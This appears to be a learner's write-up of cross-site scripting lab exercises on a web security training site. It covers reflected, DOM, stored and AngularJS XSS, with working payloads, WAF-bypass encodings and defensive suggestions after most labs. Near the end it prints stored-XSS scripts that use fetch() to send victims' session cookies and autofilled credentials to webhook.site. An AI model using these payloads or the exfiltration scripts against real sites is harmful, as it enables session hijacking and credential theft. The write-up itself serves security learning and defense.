XSS (Cross site scripting)

1. Enter random input (e.g., test123) in the user input (URL query)

   URL: https[://]web-security-academy[.]net/?search=test123
   

2. Utilize search function in inspection tab, and search for input (e.g., test123)

   Result: <input type="text" placeholder="Search the blog..." name="search" value="test123">
   

3. After learning that our input is within a double-quoted attribute, we can try to bypass the double-quoted attributes by breaking out of the attribute value with the injection of double quotes or equivalent encodings, and then adding the HTML events that triggers the payload.

   URL: https[://]web-security-academy[.]net/?search=test123" onmouseover="alert(test)
   Result: <input type="text" placeholder="Search the blog..." name="search" value="test123" onmouseover="alert(test)">
   

   Note: The value attribute is closed early by the injected quote, and onmouseover="alert(1) is interpreted as a new onmouseover attribute on the <input> tag.

4. Once I hover the cursor over the search bar, it triggers the alert. I identify the XSS vulnerability.

1. I enter random input (e.g., test) in the user input (search bar)

2. Utilize search function in inspection tab, and search for input (e.g., test). I find that the input is directly past into the function.

   var searchTerms = 'test';
     document.write('<img src="/resources/images/tracker.gif?searchTerms='+encodeURIComponent(searchTerms)+'">');
   

3. Now I learn that my input is inside the single quote, I try breaking out the single quote with:

   Input: '-prompt("TestXSS")-' # breaks the single quote
         or \\'-prompt("TestXSS")// # If single quotes are escaped
   

4. The message pops up after I send the query, which confirms that this instance is vulnerable to XSS.
   Just to double-check, I pull out the script from the inspection tab.

   var searchTerms = ''-prompt("TestXSS")-'';
   document.write('<img src="/resources/images/tracker.gif?searchTerms='+encodeURIComponent(searchTerms)+'">');
   

1. First, I find the script used in the web application under the Network tab on the Inspection page.
   • The xhr.open method sends a GET request (with user input retrieved from path + window.location.search) and fetches data from the server using XMLHttpRequest.
   • Then it parses the JSON response (this.responseText) with eval().
   • Lastly, it dynamically create and display search results (displaySearchResults) in the HTML DOM.

   var xhr = new XMLHttpRequest();
   xhr.onreadystatechange = function() {
        if (this.readyState == 4 && this.status == 200) {
        eval('var searchResultsObj = ' + this.responseText);
        displaySearchResults(searchResultsObj);
        }
   };
   xhr.open("GET", path + window.location.search);
   xhr.send();
   

2. I send a test request and intercept the response using Burp Proxy.

   {"results":[],"searchTerm":"test"}
   

3. Because the script uses eval() to process the response, I can insert the prompt() function (see JSON Values in the JSON Syntax).”
   Now that I know the JSON structure, I create an input to break out of the expected structure in Burp Repeater.

4. In the response to my first payload attempt test\"-prompt()}//, the double quote is escaped by the application, so I add an extra backslash (\) to bypass it.

   1-st_Request: ?search=test"-prompt()}//
   Response: {"results":[],"searchTerm":"test\"-prompt()}//"}
   

   2-nd_Request: ?search=test\"-prompt()}//
   Response: {"results":[],"searchTerm":"test\\"-prompt()}//"}
   

   Note: The Arithmetic Operators (-) forces prompt() to be parsed and executed as part of an expression. And ensuring it is executed immediately, not just ignored. And the // comments out whatever is after it.

1. After using general XSS testing payloads, I learn that the WAF is blocking some HTML tags to prevent common XSS.

   Payload: <img src="0" onerror="prompt()">
   Respond: "Tag is not allowed"
   

2. To find out which tag isn’t blocked, I used Burp Intruder with all tag options as payload (retrieved from the XSS cheat sheet). The result tells me that <body> is not blocked by the WAF.

   Burp Intruder:
   GET /?search=<Payload Position> HTTP/2
   

3. After enclosing payloads within the <body> tag, I learn that the WAF is also blocking some attributes.

   Payload: <body onload="prompt()">
   Respond: "Attributes is not allowed"
   

4. Repeating step 2, but this time I copy the events from the XSS cheat sheet. I got some events that comes back with 200 OK.

   Burp Intruder:
   GET /?search=<body%20<Payload Position>=prompt()>
   

5. To make the exploitation more realistic, after going through the unfiltered event attributes:
   • I used an <iframe> to embeds this vulnerable webpage (src="https[://]vulnerable[.]com/).
   • The query parameter /?search then load the URL-encoded payload %22%3E%3Cbody+onresize=prompt()%3E
   • this.style.width to adjust the iframe’s size, which will trigger the onresize event and prompt().

   <iframe src="https[://]vulnerable[.]com/?search=%22%3E%3Cbody+onresize=prompt()%3E" onload=this.style.height='88px'></iframe>
   

6. Because I bypass the WAF filter with non-filterd tag and attribution, the function prompt() will be executed once someone clicks on the link.

Suggestion

1. Treating user input strictly as data. Encode/escape for the HTML context or render search terms as text nodes, never raw HTML.
2. Apply a server‑side allowlist sanitizer (or a vetted library such as DOMPurify when sanitization is required)
3. Enforce Content Security Policy that disallows inline event handlers/scripts.
4. Harden WAF normalization/rules to catch decoded event-attribute payloads.

1. I started by testing the input form, and the response indicated that the tag was blocked.

   Request: GET /?search=<script>test</script>
   Response: "Tag is not allowed"
   

2. Then I tried using a custom tag (<cust-foo>); this time, I did not receive any error. This confirms that the WAF does not block custom tag.

   Request: GET /?search=<cust-foo>test</cust-foo>
   Response: HTTP/2 200 OK
   

3. The browser treats custom tags (<cust-foo>) as valid HTML elements and parses their attributes and event handlers (onmouseover), which execute JavaScript when triggered by moving the cursor over a specific spot.

   Request: GET /?search=<cust-foo onmouseover='prompt("xss")'>Move your mouse here</cust-foo>
   Response: A pop-up "xss"
   

4. To make the exploitation more realistic, I used custom tags with some components to create an .html file. As soon as a user opens it, they woulbe be redirected to the designated page and the prompt was executed:
   • window.location.assign(): Redirect the user’s browser to a new URL while keeping the current page in the session history (Back button available).
   • id: Gives the element a unique identifier in the DOM (e.g., a1).
   • tabindex: Makes the element focusable, which can be used with onfocus events.
   • onfocus: The JavaScript will be triggered when the element (id) receives focus.
   • #a1: Call out and focus on the element a1.

   <script>
   window.location.assign("https[://]vulnerable[.]com/?search=<cust-tag id=a1 tabindex=1 onfocus='prompt("I am focusable")'>#a1")
   </script>
   

Suggestion

1. Use a proven HTML sanitizer (e.g. DOMPurify) on output that must contain HTML (server-side)
2. Configure allowlists, only permit required tags and attributes, and explicitly exclude all event handler attributes (e.g., on*).
3. Apply the appropriate encoding based on where the data will be used (body, attribute, JavaScript string, URL, CSS), and do not rely on a single generic encoding for all contexts.
4. Prefer framework helpers and templating engines that provide automatic, correct output escaping rather than hand‑rolling your own escaping logic.
5. Remove unnecessary HTML rendering of user‑supplied content whenever possible. If a field is a search query or otherwise simple text, return it as plain text (properly escaped) instead of rendering it as HTML with tags.

1. I started by testing the input form, and the response indicated that the tag was blocked.

   Request: GET /?search=<script>prompt()</script>
   Response: "Tag is not allowed"
   

2. To find out which tag isn’t blocked, I used Burp Intruder with all tag options as payload (retrieved from the XSS cheat sheet). The result tells me that <animatetransform>, <image>, <svg>, <title> are not blocked by the WAF.

   Burp Intruder:
   GET /?search=<Payload Position> HTTP/1.1
   

3. Next, to find out which event is not filtered. I repeated step 2 but copied the events from the XSS cheat sheet. I use <image> as example since I know it is not filtered, then I received only onbegin events that returned 200 OK.

   Burp Intruder:
   GET /?search=<image+src="x"+<Payload Position>=1> HTTP/1.1
   

4. After some researches, I learned that <svg> and <animatetransform> can be used with onbegin. To test it out, I inserted prompt(), and the application responded with a pop‑up window containing my text, which proves that I bypassed the WAF’s filters and executed a test script.

   <svg><animatetransform onbegin='prompt("Is this vulnerable to XSS?")'>
   

Suggestion

1. Treat any HTML or SVG in user input as untrusted. Ensure server‑side output encoding is applied.
2. If you must allow HTML/SVG, sanitize server‑side with a library that understands and safely handles SVG (e.g., DOMPurify).
3. Deploy Content Security Policy that avoids unsafe-inline and blocks inline script execution and data:/javascript: URLs (use script-src ‘self’ plus nonces/hashes if inline scripts are required).

1. I opened the Inspector and found the canonical link in the source code.

   <link rel="canonical" href="https://web-security-academy.net/">
   

2. I inserted a test string (?test) into the URL and saw my input rendered directly in the canonical link.

   <link rel="canonical" href="https[://]web-security-academy[.]net/?test">
   

3. I then added an accesskey attribute to the <link> tag, and when the designated key was pressed it triggered the onclick event. The results showed:
   • Spaces in my input were encoded (%20) in the URL, but they were rendered as extra encoded spaces ( %20) in the source code.
   • A single quotes were encoded (%27) in the URL, but they rendered as double quotes in the source code.

     Request: /?test' accesskey='x' onclick='prompt(test)
     Response: <link rel="canonical" href="https[://]web-security-academy[.]net/?test" %20accesskey="x" %20onclick="prompt(test)">
     

4. To bypass this, I removed the spaces from my input. After pressing Ctrl+Alt+X, a popup displayed my message.

   Request: /?test'accesskey='x'onclick='prompt("XSS vulnerable? YES!")
   Response: <link rel="canonical" href="https[://]web-security-academy[.]net/?test" accesskey="x" onclick="prompt(&quot;XSS&nbsp;vulnerable?&nbsp;YES!&quot;)">
   

Suggestion

1. Don’t reflect user input directly into HTML, ensure server‑side output encoding is applied.
2. Sanitize & validate input, if input used as a URL, validate against an allow-list of permitted patterns.
3. Use DOM methods to create and manage elements, attributes, and text nodes safely.
4. Add/strengthen Content Security Policy.
5. Use HTTP security headers.

1. I start by testing the input (test_input) to see where it is rendered in the source code, then I find my input is in a search function.

   <script>
     var searchTerms = 'test_input';
     document.write('<img src="/resources/images/tracker.gif?searchTerms='+encodeURIComponent(searchTerms)+'">');
   </script>
   

2. To test whether I can break out of the single quote ('), I try entering a single quote, but it is escaped with a backslash ('\).

   <script>
     var searchTerms = '\'test_input';
     document.write('<img src="/resources/images/tracker.gif?searchTerms='+encodeURIComponent(searchTerms)+'">');
   </script>
   

3. I try to escape the backslash (\\'), but it doesn’t work.

   <script>
     var searchTerms = '\\\'test_input';
     document.write('<img src="/resources/images/tracker.gif?searchTerms='+encodeURIComponent(searchTerms)+'">');
   </script>
   

4. Then I discover that the angle bracket isn’t escaped, so I close the existing tag with </script> and insert a new one <script>prompt();</script>. A popup then displays my message.

   <script>
     var searchTerms = '</script><script>prompt("Am I vulnerable to XSS");</script>
     ';document.write('
   

Suggestion

1. Validate and sanitize user input on client side to reject or clean inputs containing malicious characters or script tags.
2. When inserting user input into JS strings, use output encoding that safely escapes all special characters that could break the context, not just single quotes and backslashes.
3. Don’t place variables into dangerous contexts as even with output encoding.
4. Implement Content Security Policy that limits the sources and inline script execution.

1. I start by testing the input (test_input) to see where it is rendered in the source code, then I find my input is in a search function.

   <script>
     var searchTerms = 'test_input';
     document.write('<img src="/resources/images/tracker.gif?searchTerms='+encodeURIComponent(searchTerms)+'">');
   </script>
   

2. To test whether I can break out of the single quote ('), I try entering a single quote and inserting a new tag, but the single quote is escaped with a backslash (\'), and the angle bracket and double quote are HTML-encoded for escaping.

   <script>
     var searchTerms = '\' &lt;/script&gt;&lt;img src=&quot;x&quot; onerror=&quot;prompt()&quot;&gt;';
   </script>
   

3. I try to escape the backslash (\\'), and it works.

   <script>
     var searchTerms = '\\'';
   </script>
   

4. Now I know that the single quote will be escaped with a backslash (\'), but the backslash itself can be escaped by inserting another backslash (\\'). Double quotes and angle brackets are HTML-encoded for escaping. We can craft the payload:
   • Backslash neutralizes the escaping (\\').
   • Hyphen serves as a valid operator between two expressions ensures the payload executes as JavaScript (‘string’ - prompt()).
   • Double forwardslash comments out trailing quotes (//).

     <script>
     var searchTerms = '\\' - prompt()//';
     </script>
     

5. As the web application response with a pop up window, I am assure that it is vulnerable to reflected XSS.

Suggestion

1. Apply JS context-aware encoding when injecting untrusted data into JavaScript,
2. Validate and sanitize user input on client side to reject or clean inputs containing malicious characters or script tags.
3. Implement a CSP header to reduce the impact of XSS.
4. Employ frameworks or libraries (e.g., angular) that automatically escape user input based on context, or server-side templating engines with built-in sanitization.

1. I start by testing the input ('"<>\) to see where it is rendered in the source code, then I find my input is in a JavaScript template literals. And I also notice that all the special characters are unicode-escaped.

   <script>
     var message = `0 search results for '\u0027\u0022\u0060\u003c\u003e\u005c'`;
     document.getElementById('searchMessage').innerText = message;
   <\script>
   

2. Because JavaScript evaluates whatever is inside the embedded expression (${}) of a template literal as code, I tried to insert my payload directly to test whether there was a filter or any other protection implemented. A window popped up after inserting my payload, which proves this instance is still vulnerable to reflected XSS because there is no protection on its JS template literal.

   <script>
     var message = `0 search results for '${prompt()}'`;
     document.getElementById('searchMessage').innerText = message;
   <\script>
   

Suggestion

1. Apply JS context-aware encoding when injecting untrusted data into JavaScript,
2. Apply a server‑side allowlist sanitizer (or a vetted library such as DOMPurify when sanitization is required)
3. Implement CSP header to reduce the impact of XSS.

1. Enter random input (e.g., 123456) in the user input (URL query)

   https[://]web-security-academy.net/?search=123456
   

2. Right-click on the webpage and open the inspection tab

3. Press Crtl+F to open search function in inspection tab, and search for input (e.g., 123456)

   Result: <img src="/resources/images/tracker[.]gif?searchTerms=123456">
   

4. After knowing the syntax. We can add a closing angle bracket to close up the img tag, and add a new tag with the payload. I use HTML encoding to bypass the filter.

   URL: "><script src=x onerror="&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041"></script>
   Result: <img src="/resources/images/tracker[.]gif?searchTerms=">
        <script src="x" onerror="javascript:alert('XSS')"></script>
   

1. Enter random input (e.g., 123456) in the user input (URL query)

   https[://]web-security-academy.net/?search=123456
   

2. Right-click on the webpage and open the inspection tab

3. Press Crtl+F to open search function in inspection tab, and search for input (e.g., 123456)

   Result: <span id="searchMessage">123456</span>
   

4. After knowing the syntax. I can add a closing tag to close up <span>, and add a new <img> tag with the payload. I use HTML encoding to bypass the filter.

     URL: https[://]web-security-academy[.]net/?search=</span><img src=x onerror="&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041">
     Result: <span id="searchMessage"><img src="x" onerror="javascript:alert('XSS')"></span> <span>'</span> == $0
   

1. Right-click on the webpage and open the inspection tab. I search for location.search, which led me to this script:

   $(function() {
     $('#backLink').attr("href", (new URLSearchParams(window.location.search)).get('returnPath'));
   });
   

2. I also notice that the URL contains the returnPath query parameter, which aligns with the script. Which uses this query parameter to set the href attribute of the backlink.

   URL: https[://]web-security-academy[.]net/feedback?returnPath=/
   

3. Insert the payload into the returnPath query parameter.

   URL: https[://]web-security-academy[.]net/feedback?returnPath=javascript:prompt(document.cookie)
   Result: <a id="backLink" href="javascript:prompt(document.cookie)">Back</a>
   

1. Firstly, I search for $() in the inspection tab, and I find the syntax for this function. Which listens for hash changes in the URL (/#) and scrolls the corresponding blog post into view based on the hash value.

   $(window).on('hashchange', function(){
     var post = $('section.blog-list h2:contains(' + decodeURIComponent(window.location.hash.slice(1)) + ')');
     if (post) post.get(0).scrollIntoView();
   });
   

2. I append a simple XSS test payload with a hashtag to the URL, and the print function is triggered. The XSS vulnerability in this application is confirmed.

   URL: https[://]web-security-academy[.]net/#<img src=x onerror=print()>
   

3. In the case that I want to deliver this payload to others, I utilize iframe, onload, img src, and onerror to trigger the payload once they open the page.

   URL: <iframe src="https[://]web-security-academy[.]net/#" onload="this.src+='<img src=x onerror=print()>'"></iframe>
   

   Note: The onload attribute of the iframe runs JavaScript to append the print payload directly into the URL fragment after the page loads. The vulnerable page inside the iframe then reads this fragment (<img src=x onerror=print()>) and executes the injected payload.

1. Firstly, I discover the function in the inspection tab (right-click on the webpage > inspect). And I learn that the script builds a <select name="storeId"> dropdown by reading a storeId query parameter from the URL and, if present, adding it as the selected <option> before adding the three hard-coded stores (skipping any duplicate). It uses document.write with the raw URL value, so unescaped input could be reflected into the page; creating elements and setting textContent/value.

   var stores = ["London", "Paris", "Milan"];
   var store = (new URLSearchParams(window.location.search)).get('storeId');
   document.write('<select name="storeId">');
   if(store) {
     document.write('<option selected>' + store + '</option>');
   }
   
   for(var i = 0; i < stores.length; i++) {
     if(stores[i] === store) {
         continue;
     }
     document.write('<option>' + stores[i] + '</option>');
   }
   
   document.write('</select>');
   

2. After discovering that the function takes user input in the storeId parameter, I add the storeId parameter after the original productId parameter with a &. I then send a test input (e.g., test) to see the application’s response. As expected, I am able to add a new selected <option>.

   URL: https[://]web-security-academy[.]net/product?productId=2&storeId=test
   Result:
   <select name="storeId">
     <option selected>test</option> # I create this option by inserting the parameter and value in the URL.
     <option>London</option>
     <option>Paris</option>
     <option>Milan</option>
   

3. Remember this syntax document.write('<option>' + stores[i] + '</option>'); from the function. What I can do is close the first <option> tag, inject new HTML tags and event attributes, and then open another <option> tag. I try injecting a couple of new HTML tags, and both work. Now, I can confirm that the stock search query function on this web application is vulnerable to XSS.

   Payload-1: storeId=test</option><iframe src="javascript:prompt('work?');"></iframe><option>
   Payload-2: storeId=test</option><script>prompt('work?')</script><option>
   

1. After did some researches (AngularJS - Escaping the Expression Sandbox, Function() constructor, Object.prototype.constructor, ) I come up with a couple of different payloads to pybass the security filter.

   Payload-1: \{\{$eval.constructor(prompt('AngularJS_xss'))()\}\}
   Payload-2: \{\{$on.constructor('prompt("AngularJS_xss")')()\}\}
   

1. In the comment section, there are four fields (Comment, Name, Email, Website). After filling out all the fields and submitting my comment, I notice that the Name section contains an external link, which is the website I enter while filling out the form.

2. I use the search function in the inspection tab to look for the website I enter. And I find:

   Result: <a id="author" href="Website.com">Name</a>
   

3. Now, I determine that the href attribute accepts user input, so I enter a simple payload into the Website field. It is confirmed that the alert will be triggered when I click on the Name.

   Website: javascript:alert('Zebra!')
   Result: <a id="author" href="javascript:alert('Zebra!')">World Smartest Zebra</a>
   

1. Firstly, I look into the script used in the web application under the Network tab on the Inspection page. And I find there is an escape function using replace()

   function escapeHTML(html) {
       return html.replace('<', '&lt;').replace('>', '&gt;');
   }
   

   Note: A string pattern will only be replaced once. To perform a global search and replace, use a regex with the g flag, or use replaceAll() instead.

2. Now that I know only the first set of angle brackets is escaped and anything after that isn’t, I craft my payload as:

   Payload: <><img src="x" onerror="prompt('I am escaped!')">
   Rendered:
   <p>
     &lt;&gt;
     <img src="x" onerror="prompt('I am escaped!')">
   </p>
   

3. A prompt pops up with a message after I submit (store) the payload in the comment section, which indicates the filter mechanism (replace() function) was bypassed and the application is still vulnerable to XSS.

Suggestion

1. Make the escaping correct (use global replacements or replaceAll/regex)
2. Deploy Content Security Policy that disallows inline handlers, and protect cookies (HttpOnly/SameSite) to reduce impact.

1. In the comment section, there are four fields (Comment, Name, Email, Website). After filling out all the fields and submitting my comment, I notice that the Name section contains an external link, which is the website I enter while filling out the form.

2. I look into the inspection tab and pull out the syntax

   <a id="author" href="Website"
   onclick="var tracker={track(){}};tracker.track('Website');">User_Name</a>
   

3. I try to break out of the single quote in the onclick event, so when the user clicks an external link on the website, it will trigger the onclick event. But I notice that my single quote is escaped (\'), so the prompt isn’t executed.

   <a id="author" href="http://Website.com\'); prompt();//)"
   onclick="var tracker={track(){}};tracker.track('http://Website.com\'); prompt();//');">User_Name</a>
   

   Note: The user input is used inside the tracker.track() call, enclosed in single quotes. So I close the first statement (');), insert the testing payload, then close the second statement (prompt();). Lastly, I use double forward slashes (//) to comment out the rest of the syntax.

4. I use an additional backslash to neutralize the backslash that’s meant to escape the single quote (\'), but it is also escaped (\\\').

5. To bypass this, I use Cyberchef to HTML-encode my payload.

   Plain-text: ');prompt();//
   HTML-Entity: ');prompt();//
   

6. After submitting the website with the encoded payload appended, I successfully bypassed the filter. I can trigger the prompt by clicking the website’s external link, which proves the stored XSS vulnerability.

   <a id="author" href="http://Website.com\'); prompt();//"
   onclick="var tracker={track(){}};tracker.track('http://Website.com\'); prompt();//');">tes</a>
   

Suggestion

1. Use JS and HTML attribute context-aware output encoding before rendering untrusted data inside event handlers or inline scripts. Avoid embedding untrusted user input directly into inline JavaScript.
2. validate inputs (e.g., quotes, backslashes, and parentheses) in the “Website” field.
3. Avoid writing event handlers directly inline in the HTML (e.g., <button onclick="doSomething()">), separate the structure (HTML) from behavior (JavaScript).
4. Apply a CSP header that blocks inline scripts and restricts script execution to trusted sources only.

1. To start with, I leave a prompt function in the comment section of a post on the web application for testing the XSS vulnerability. After I refresh the page, a window pop up to prove it is vulnerable to XSS.

2. To simulate a more realistic scenario, I leave JavaScript that causes other users’ browsers to automatically post their session cookies to my controlled domain (Webhook).

   <script>
   fetch('https[://]webhook[.]site', {
     method: 'POST',
     mode: 'no-cors',
     body: document.cookie
   });
   </script>
   

3. After retrieving the cookie, I can use it to impersonate the cookie owner for further exploitation.

Suggestion

1. Use a proven HTML sanitizer (e.g. DOMPurify) to safely handle rich-text or HTML input.
2. Escape characters appropriately for the output context (HTML, JavaScript, or attributes).
3. Set session cookies with the HttpOnly and Secure flags to prevent access via JavaScript and enforce HTTPS usage
4. Apply a CSP header that blocks inline scripts and restrict script sources.
5. validate inputs (e.g., quotes, backslashes, and parentheses) in all user input fields.

1. To start with, I leave a prompt function in the comment section of a post on the web application for testing the XSS vulnerability. After I refresh the page, a window pop up to prove it is vulnerable to XSS.

2. To simulate a more realistic scenario. In the comment field of the post, I create two HTML input fields that cause users’ password managers to automatically fill the saved username and password and forward them to my controlled domain. (Webhook).

   <input name=username id=username>
   <input type=password name=password onchange="if(this.value.length)fetch('https[://]webhook[.]site',{
     method: 'POST',
     mode: 'no-cors',
     body:username.value+':'+this.value
   });">
   

3. After retrieving the users’ credentials, I can use it to impersonate the cookie owner for further exploitation.

Suggestion

1. Use a proven HTML sanitizer (e.g. DOMPurify) to safely handle rich-text or HTML input.
2. Escape characters appropriately for the output context (HTML, JavaScript, or attributes).
3. Apply a CSP header that blocks inline scripts and restrict script sources.
4. validate inputs (e.g., quotes, backslashes, and parentheses) in all user input fields.
5. On client-side, disable autofill in sensitive contexts.

Suggestion

1. Use a proven HTML sanitizer (e.g. DOMPurify) to safely handle rich-text or HTML input.
2. Escape characters appropriately for the output context (HTML, JavaScript, or attributes).
3. Apply a CSP header that blocks inline scripts and restrict script sources.
4. validate inputs (e.g., quotes, backslashes, and parentheses) in all user input fields.
5. On client-side, disable autofill in sensitive contexts.